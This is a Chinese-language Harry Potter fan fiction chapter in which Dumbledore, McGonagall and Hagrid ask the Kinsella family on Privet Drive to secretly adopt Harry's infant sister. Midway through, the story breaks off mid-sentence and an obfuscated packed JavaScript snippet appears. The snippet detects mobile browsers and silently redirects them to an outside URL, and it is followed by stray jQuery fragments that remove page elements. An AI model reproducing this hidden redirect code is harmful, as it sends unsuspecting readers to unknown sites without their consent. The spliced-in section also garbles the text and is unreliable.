十月末的天气总是阴雨连绵，天空阴沉沉的，看不到一点光亮。万圣节那一天，天气照样不好，夜晚的云朵厚得密不透风，将星云牢牢地遮住。尽管如此，女贞路的街道上依旧充满充满欢声笑语。小孩子们或是化装成女巫和吸血鬼，或是化装成幽灵和狼人，提着南瓜型的小篮子，篮子里装满各色各样的糖果，挨家挨户地敲门，涂满油彩的脸颊难掩他们可爱的稚气——至少在芙拉维亚·金塞拉（Flavia Kinsella）看来是这样的。


    “Trick or treat ?”稚嫩的童音混杂着客厅里晚间新闻一本正经的播报声，金塞拉夫人微笑着拉开大门，递上了一大把早已准备好的糖果。


    “真可爱！”金塞拉夫人的动作还带着芭蕾舞演员的一丝夸张，“如果我们也能有一个这样可爱的孩子，那该有多好。”


    埃德蒙·金塞拉（Edmund Kinsella）不自觉地搂住了妻子的肩膀，像吟游诗人一般用着抒情的语调说着：“哦，亲爱的，心儿永远向往着未来，现在却常是忧郁。一切都是瞬息，一切都将会过去。”


    又是一阵敲门声响起，住在金塞拉一家对面的佩妮·德思礼带着她刚满一岁的小儿子也带着小篮子来讨要糖果了。胖嘟嘟的小家伙话都还说不清楚，却也在空气中挥舞着小拳头，龇牙咧嘴、口齿不清地说：“不给糖就捣蛋。”


    金塞拉夫人照例拿出了一小把糖果，放进了达力·德思礼的小篮子里。


    “这么小的小孩子还是最好不要吃糖果哦。”金塞拉夫人看着达力，眼里不自觉地出现了一丝宠爱。


    “我知道，”佩妮·德思礼的长脖子似乎要将达力紧紧地圈在自己的怀里，“只是让他感受一下节日的氛围。”说着，她将那一小把糖果收进了自己的衣袋里。


    “我要吃我就要吃！”达力·德思礼挥着小拳头，短短的腿不停地撞在母亲的身上。


    “再见，万圣节快乐。”佩妮·德思礼看起来实在招架不住，匆匆地说了句节日祝福，就赶紧关上金塞拉家的大门告辞了。


    “天哪，”金塞拉先生叹息道，“希望不要是这样的孩子。”


    花园的栅栏上，一只虎斑猫抖了抖僵直的身体，悄无声息地从女贞路6号的门前溜走了。


    客厅里的窗帘拉得严严实实，留声机播放着肖邦的《B小调圆舞曲》，随着最后一个拍子缓缓数完，金塞拉夫人长舒一口气——终于练完了晚功，她稍稍活动了一下肩膀，正准备回到楼上卧室去休息。


    门外响起清脆的门铃声，金塞拉夫人稍稍有些惊讶——这么晚了，谁还会来敲门？


    “我来开门。”坐在沙发上睡着了的金塞拉先生被门铃声惊醒，小心翼翼地拉开了门。


    门外漆黑一片，一点光亮都看不到。


    “奇怪，路灯怎么全都灭了？停电了吗？”金塞拉先生心里犯嘀咕，“谁呀？”


    突然亮起的一束白光把金塞拉夫妇都吓了一跳，微弱的光里，突然浮现出三个人的脸。


    左边的那位身着一身拖地长袍，披着一件托到地的紫色斗篷，银色的头发和胡须几乎和袍子一样长，半月形眼镜后的那双蓝眼睛即使在微弱的光里也炯炯有神；右边的那位女性穿着一件同样拖到地的墨绿色长袍，浅棕色的头发在脑后挽成一个紧紧的髻，方形镜片后的眼睛里透露出凌厉的光芒，怀里还抱着一个包裹。而后面的哪一位——金塞拉夫妇觉得好像不能用普通的“人”来称呼他，他几乎有自己的两倍高，乱蓬蓬的头发几乎将他的脸完全遮住，有好几个地方都打着结，垃圾桶盖般大的手掌正捧着一块脏兮兮的手帕擤着鼻子。


    “你们是——我们认识你吗？”金塞拉夫人大惊失色，反复打量着眼前的三人，那身衣服简直是话剧演员才会有的装扮。


    “米勒娃，看来我们忘记自我介绍了。”银须老者缓缓开口，声音平缓。金塞拉先生确信自己闻到了一股柠檬雪糕的味道。


    “我是阿不思·邓布利多。这位是米勒娃·麦格。那位是鲁伯·海格。”邓布利多缓缓开口，“我相信你们知道，在你们所生活的这个世界之外，还有另一个属于巫师的世界吧。”


    这下轮到金塞拉先生大惊失色了，诚然，他的祖母曾经告诉过他，自己家往上追溯十几代，大概有一位祖先的表姐是巫师，但随着仅有的血脉随着一代又一代人的不断稀释，到了金塞拉先生这一代，他们就仅仅是普通的“麻瓜”（好像是叫这个名字）了。至于那一点点的联系，早就可以忽略不计了。金塞拉先生也有和妻子提起过这件事情，但二人都只是将它当作一个有趣的家族传说来看待。此刻，更令金塞拉先生感到惊恐的，是这位老者为什么会知道这件事情。


    那位叫邓布利多的老者微微一笑，像是看穿了金塞拉先生的疑惑。


    “有些巫师拥有摄神取念的能力，我想，也就是你们说的‘读心术’。”


    仿佛是为了打消金塞拉先生的疑惑，邓布利多又从口袋里掏出了那个形似打火机的银制品，轻轻一按，十二个光球在一瞬间全部回到了各自的位置，十二盏路灯同时亮起。


    金塞拉夫妇目瞪口呆，一时间不知该说什么好。金塞拉先生使劲掐了自己一下。


    邓布利多微微一笑，又按了一下银质的“打火机”，十二个光球又在一瞬间回到了打火机里。


    “这也是你们做的？”金塞拉先生仿佛不会说话了，结结巴巴地指着银器说。


    “为了让你们更加确信这个世界的存在。”邓布利多神秘地说。


    “行了，阿不思，该言归正传了。”方才一直沉默的女巫开口了，轻轻打开了怀里的那个包裹。


    金塞拉夫妇凑近一看，差点又惊得叫出了声。包裹里，一个婴儿正在熟睡，但看起来比正常的婴儿要娇小得多，皱巴巴的小脸在寒风里已经冻得通红


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273820|166648||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “这是？”金塞拉先生警惕地将妻子护在身后，眼神里仍充满了怀疑。金塞拉夫人站在丈夫身后，眼神仍不住地往婴儿的身上瞟。


    “说来话长，我们就长话短说吧。”那位叫麦格的女巫扶了扶眼镜，“这孩子……她的父母……刚刚被我们世界里的黑魔王——哦，我不能说他的名字——杀害了。”


    “对不起？”金塞拉夫人说。


    “伏地魔。”邓布利多平静地说，麦格和海格都忍不住打了个寒噤。


    “她还有一个哥哥，没比她大多少，刚刚也被送到了住在你们街对面的德思礼一家，也就是他的姨妈家。我们其实是想问，你们愿不愿意收养她，像对待亲生女儿一样对待她。”


    “对不起，我想问一下，”金塞拉夫人打断了邓布利多，“我想说，佩妮从来没和我提过她有妹妹，她说她是独生女。”


    “哦，夫人，”邓布利多叹息道，“如果你有一个亲姐妹是女巫，你会轻易让外人知道吗？”


    “如果是真的，那，为什么，不能把她也送去她姨父姨妈家，而是要找一个完全的陌生家庭呢？”金塞拉先生心头的疑虑还是没有打消。


    “有两个原因，”邓布利多的蓝眼睛里闪过睿智的光芒，“第一个原因我们也不方便说，因为至今也没有弄清楚。只是，要让越少的人知道他们是兄妹越好，还有一些其他的东西，我都写在这封信里了。同时，如果你们愿意收养她，也完全不能告诉她任何有关的信息，要让她认为自己就是你们的亲生女儿，直到我们认为合适的那一天才可以。”


    “至于第二个原因，”米勒娃·麦格的语气软了下来，“她只有两个多月大，还是早产，如果我们像对她哥哥一样，把她放在门口一晚，我想她大概是活不下来的。”


    金塞拉夫人已经慢慢地从丈夫身后走了过来，不自觉地轻轻抱起了那个婴儿，用手指轻轻摩挲着她红通通的脸。婴儿在睡梦中轻轻哼了一声。金塞拉先生有些犹豫地打开了信封，脸上的怀疑逐渐被震惊取代。


    “我希望你们能对信上的内容全盘保密，”邓布利多说，“往小了说，这关乎到他们兄妹俩个人的安危，往大了说，可以说是关乎整个魔法界的安危。”


    “可是我还有一个问题，”金塞拉先生说，“我们凭空多出一个亲生女儿，光是这一点，就足够让人怀疑了。”


    “我们有准备，这一点你无需担心。”邓布利多说，“我们是可以修改别人的记忆的。”


    金塞拉先生盯着妻子怀里的包裹许久，终于点了点头。


    一直保持着沉默的海格突然发出一声悲恸的长号，用力地擤着鼻子。


    “好了好了，海格。”邓布利多说，自己的眼眶竟也有些湿润了。


    “再见，祝好运，”麦格教授轻轻摸了摸女婴的脸颊，“多丽丝·莉莉·金塞拉（Doris Lily Kinsella）。”